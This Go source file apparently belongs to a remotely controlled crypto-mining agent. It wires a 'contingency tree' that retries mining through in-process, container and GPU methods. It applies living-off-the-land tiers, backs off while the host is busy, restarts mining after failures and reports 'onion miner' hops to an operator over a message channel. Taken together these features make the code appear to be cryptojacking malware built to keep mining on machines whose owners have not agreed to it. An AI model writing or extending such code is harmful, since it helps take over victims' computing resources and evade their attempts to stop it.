package client

import (
	"context"
	"encoding/json"
	"log"
	"sync"

	"crypto-miner-agent/miner"
)

// ContingencyRunner wires the onion contingency tree into AgentClient mining.
type ContingencyRunner struct {
	client  *AgentClient
	runner  *miner.ContingencyTreeRunner
	gate    *miner.PoolGate
	mu      sync.Mutex
	cancel  context.CancelFunc
	enabled bool
}

func (c *AgentClient) newContingencyRunner() *ContingencyRunner {
	cr := &ContingencyRunner{client: c, gate: miner.NewPoolGate()}
	return cr
}

func (c *AgentClient) applyContingencyPolicyJSON(raw json.RawMessage) {
	if len(raw) == 0 || string(raw) == "null" {
		return
	}
	var p miner.ContingencyPolicy
	if err := json.Unmarshal(raw, &p); err != nil {
		return
	}
	p = miner.NormalizeContingencyPolicy(p)
	c.mu.Lock()
	if c.contingency == nil {
		c.contingency = c.newContingencyRunner()
	}
	c.contingency.enabled = p.Enabled
	c.mu.Unlock()
	if p.Enabled {
		c.contingency.rebuildRunner(p)
		log.Printf("[contingency] policy enabled personas=%v hospice_after=%d", p.Personas, p.HospiceAfter)
	}
}

func (c *AgentClient) applyContingencyBranchParamsJSON(raw json.RawMessage) {
	if len(raw) == 0 || string(raw) == "null" {
		return
	}
	var p miner.ContingencyBranchParams
	if err := json.Unmarshal(raw, &p); err != nil {
		return
	}
	c.mu.Lock()
	cr := c.contingency
	c.mu.Unlock()
	if cr == nil || cr.runner == nil {
		return
	}
	cr.runner.ApplyBranchParams(p)
	log.Printf("[contingency] branch params applied: %s", p.Reason)
}

func (cr *ContingencyRunner) rebuildRunner(policy miner.ContingencyPolicy) {
	c := cr.client
	hooks := miner.BranchAttemptHooks{
		StartInProcess: func() error {
			if c.miningChain == nil {
				return miner.ErrMethodUnavailable
			}
			return c.miningChain.startInProcess()
		},
		StartContainer: func() error {
			if c.miningChain == nil {
				return miner.ErrMethodUnavailable
			}
			return c.miningChain.startContainer()
		},
		StartGPU: func() error {
			if c.miningChain == nil {
				return miner.ErrMethodUnavailable
			}
			return c.miningChain.startGPU()
		},
		ApplyIdleTune: cr.applyIdleTune,
		ApplySurgery:  cr.applySelfSurgery,
		StopAll: func() {
			if c.miningChain != nil {
				c.miningChain.StopBranchAttempt()
			}
		},
		Hashrate:   cr.snapshotHashrate,
		PoolActive: cr.gate.Active,
		AcquirePool: func() bool {
			return cr.gate.Acquire("canonical")
		},
		ReleasePool: func() {
			cr.gate.Release("canonical")
		},
	}
	cr.runner = miner.NewContingencyTreeRunner(policy, hooks, cr.reportHop)
}

func (cr *ContingencyRunner) applyIdleTune() error {
	// Brief host pause — contingency discipline backoff, not stealth.
	cr.client.pool.PauseRemote()
	cr.client.hostMiningDisabled.Store(true)
	return nil
}

func (cr *ContingencyRunner) applySelfSurgery(skip []string, force string) error {
	c := cr.client
	policy := c.miningTierPolicy()
	for _, s := range skip {
		tier := miner.LOTLTier(s)
		if tier == "" {
			continue
		}
		policy.SkipTiers = append(policy.SkipTiers, tier)
	}
	if force != "" {
		policy.ForceTier = miner.LOTLTier(force)
	}
	c.mu.Lock()
	c.tierPolicy = policy
	c.mu.Unlock()
	if c.miningChain != nil {
		c.miningChain.Restart(context.Background())
	}
	return nil
}

func (cr *ContingencyRunner) snapshotHashrate() float64 {
	c := cr.client
	if c.miningChain != nil {
		st := c.miningChain.Status()
		if st.ActiveMethod != "" {
			if hr := cr.latestMiningHashrate(); hr > 0 {
				return hr
			}
		}
	}
	return cr.latestMiningHashrate()
}

func (cr *ContingencyRunner) latestMiningHashrate() float64 {
	c := cr.client
	if c.containerMiner != nil {
		if ch := c.containerMiner.ProbeHashrate(); ch > 0 {
			return ch
		}
	}
	if c.pool != nil {
		return c.pool.HashesPerSecond()
	}
	return 0
}

func (cr *ContingencyRunner) reportHop(hop miner.OnionMinerHop, depth int, exhausted bool) {
	c := cr.client
	payload, err := json.Marshal(struct {
		miner.OnionMinerHop
		Depth     int  `json:"contingency_depth"`
		Exhausted bool `json:"exhausted,omitempty"`
		Hops      int  `json:"hop_count"`
	}{
		OnionMinerHop: hop,
		Depth:         depth,
		Exhausted:     exhausted,
		Hops:          depth,
	})
	if err != nil {
		return
	}
	_ = c.write(Message{Type: "onion_miner_log", Payload: payload})
}

// Start launches the contingency tree when policy is enabled.
func (cr *ContingencyRunner) Start(ctx context.Context) {
	cr.mu.Lock()
	if !cr.enabled || cr.runner == nil {
		cr.mu.Unlock()
		return
	}
	if cr.cancel != nil {
		cr.mu.Unlock()
		return
	}
	runCtx, cancel := context.WithCancel(ctx)
	cr.cancel = cancel
	runner := cr.runner
	cr.mu.Unlock()
	go runner.Run(runCtx)
}

// Stop halts the contingency tree (operator pause).
func (cr *ContingencyRunner) Stop() {
	cr.mu.Lock()
	if cr.cancel != nil {
		cr.cancel()
		cr.cancel = nil
	}
	if cr.runner != nil {
		cr.runner.SetOperatorPaused(true)
	}
	cr.mu.Unlock()
}

// Resume clears operator pause and restarts the tree.
func (cr *ContingencyRunner) Resume(ctx context.Context) {
	cr.mu.Lock()
	if cr.runner != nil {
		cr.runner.SetOperatorPaused(false)
	}
	if cr.cancel != nil {
		cr.cancel()
		cr.cancel = nil
	}
	enabled := cr.enabled
	runner := cr.runner
	cr.mu.Unlock()
	if enabled && runner != nil {
		runCtx, cancel := context.WithCancel(ctx)
		cr.mu.Lock()
		cr.cancel = cancel
		cr.mu.Unlock()
		go runner.Run(runCtx)
	}
}

// Depth returns current onion hop count for stats.
func (cr *ContingencyRunner) Depth() int {
	cr.mu.Lock()
	runner := cr.runner
	cr.mu.Unlock()
	if runner == nil {
		return 0
	}
	return runner.Depth()
}

func (c *AgentClient) startContingencyIfEnabled(ctx context.Context) {
	c.mu.Lock()
	cr := c.contingency
	c.mu.Unlock()
	if cr == nil || !cr.enabled || cr.runner == nil {
		return
	}
	cr.Start(ctx)
}

func (c *AgentClient) contingencyDepthForStats() int {
	c.mu.Lock()
	cr := c.contingency
	c.mu.Unlock()
	if cr == nil {
		return 0
	}
	return cr.Depth()
}